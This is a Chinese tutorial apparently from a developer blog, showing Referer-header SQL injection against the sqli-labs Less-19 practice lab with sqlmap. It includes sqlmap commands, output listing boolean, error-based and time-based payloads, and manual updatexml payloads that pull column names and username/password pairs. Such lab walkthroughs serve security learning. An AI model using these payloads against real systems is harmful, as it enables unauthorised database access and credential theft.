Sqlmap2021 -- Referer注入

简介: Sqlmap2021 -- Referer注入

一、检测是否存在注入

1、通过BurpSuite抓包,将封包内容保存到referer.txt

POST /sqli/Less-19/ HTTP/1.1

Host: 192.168.139.129

Content-Length: 38

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.139.129

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.139.129/sqli/Less-19/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=6t4bb3nb4rarqod4j073m038h4

Connection: close

uname=admin&passwd=admin&submit=Submit

2、检测是否存在注入

sqlmap -r /home/aiyou/桌面/referer1.txt --referer " http://192.168.139.129/sqli/Less-19/" --level 3

--level 3:3级以上才会检测请求头信息

0a2653c851af460fa595bd959398a8f1.png

运行结果:

parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 6329 HTTP(s) requests:

---

Parameter: Referer (Referer)

   Type: boolean-based blind

   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

   Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (5183=5183) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'qIKO'='qIKO

   Type: error-based

   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

   Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(1237,CONCAT(0x5c,0x7171717671,(SELECT (ELT(1237=1237,1))),0x7171787871)) AND 'fmnH'='fmnH

   Type: time-based blind

   Title: MySQL >= 5.0.12 RLIKE time-based blind

   Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'JGUO'='JGUO

---

[17:46:44] [INFO] the back-end DBMS is MySQL

web application technology: Nginx 1.15.11, PHP 5.4.45

back-end DBMS: MySQL >= 5.1

[17:46:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

二、获取数据库名字

qlmap -r /home/aiyou/桌面/referer1.txt --referer " http://192.168.139.129/sqli/Less-19/" --level 3 --dbs

0eacb84100b54626af849e6b562bf92a.png

运行结果:

[16:47:27] [INFO] retrieved: pikachu

[16:47:48] [INFO] retrieved:

[16:47:49] [INFO] retrieved: security

[16:48:13] [INFO] retrieved:

[16:48:13] [INFO] retrieved: sys

[16:48:24] [INFO] retrieved:

[16:48:24] [INFO] retrieved: www_dgdg_com

[16:49:13] [INFO] retrieved:

[16:49:14] [INFO] retrieved: www_zm_com

available databases [10]:

[*] challenges

[*] dvwa

[*] information_schema

[*] mysql

[*] performance_schema

[*] pikachu

[*] security

[*] sys

[*] www_dgdg_com

[*] www_zm_com

[16:49:58] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

三、获取表名

sqlmap -r /home/aiyou/桌面/referer1.txt --referer " http://192.168.139.129/sqli/Less-19/" --level 3 -D security --tables

2d65d23f6d4748949b924e4057485923.png

运行结果:

parameter 'Referer' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 17409 HTTP(s) requests:

---

Parameter: Referer (Referer)

   Type: boolean-based blind

   Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

   Payload: http://192.168.139.129/sqli/Less-19/' RLIKE (SELECT (CASE WHEN (7519=7519) THEN 0x687474703a2f2f3139322e3136382e3133392e3132392f73716c692f4c6573732d31392f ELSE 0x28 END)) AND 'jkuO'='jkuO

   Type: error-based

   Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

   Payload: http://192.168.139.129/sqli/Less-19/' AND EXTRACTVALUE(6597,CONCAT(0x5c,0x7178627071,(SELECT (ELT(6597=6597,1))),0x7176767071)) AND 'Czdo'='Czdo

   Type: time-based blind

   Title: MySQL >= 5.0.12 RLIKE time-based blind

   Payload: http://192.168.139.129/sqli/Less-19/' RLIKE SLEEP(5) AND 'zQQA'='zQQA

---

[08:54:30] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.4.45, Nginx 1.15.11

back-end DBMS: MySQL >= 5.1

[08:54:30] [INFO] fetching tables for database: 'security'

[08:54:30] [WARNING] the SQL query provided does not return any output

[08:54:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[08:54:30] [WARNING] the SQL query provided does not return any output

[08:54:30] [INFO] fetching number of tables for database 'security'

[08:54:30] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval                                                        

[08:54:30] [INFO] retrieved: 4

[08:54:30] [INFO] retrieved: emails

[08:54:30] [INFO] retrieved: referers

[08:54:31] [INFO] retrieved: uagents

[08:54:31] [INFO] retrieved: users

Database: security

[4 tables]

+----------+

| emails   |

| referers |

| uagents  |

| users    |

+----------+

[08:54:31] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'  

四、手动测试

1、sqlmap -r /home/aiyou/桌面/referer1.txt --referer=" http://192.168.139.129/sqli/Less-19/" --level 3  -D security -T users --columns

这里跑不出来了,大家可以继续手动测试一下。。。

2、手动测试获取字段

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' and table_schema = database() limit 3,1),0x7e),1) and '1'='1

3、手动测试获取字段内容

1' and updatexml(1,concat(0x7e,(select concat_ws('~',username,password) from users limit 0,1),0x7e),1) and '1'='1

2e9b90b2ca334476abebe75bafe6eeaa.png

禁止非法,后果自负

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
目录
相关文章
|
网络安全
关于中国蚁剑和中国菜刀安装过程中的问题总结和解决方法
关于中国蚁剑和中国菜刀安装过程中的问题总结和解决方法
824 3
|
10月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
3123 1
Web渗透-文件上传漏洞-上篇
JeecgBoot 短信验证码接口,如何实现防刷机制?
短信接口防刷,主要通过两个方面来实现:一个是短信接口加签和时间戳;另外针对短信接口,增加防刷 check 机制
679 1
攻防世界web---fileinclude
攻防世界web---fileinclude
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
12593 3
|
Web App开发 人工智能 供应链
金蝶云星空管理中心反序列化命令执行漏洞(RCE)
​金蝶云星空管理中心存在反序列化命令执行,攻击者可通过该漏洞获取敏感信息,进而接管服务器。
1682 2
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
757 3
|
安全 Shell Linux
Webshell管理工具:AntSword(中国蚁剑)
中国蚁剑的下载、安装、详细使用步骤
16450 1
|
SQL 安全 关系型数据库
SQL自动化注茹-SQLmap入门操作(二)
SQL自动化注茹-SQLmap入门操作(二)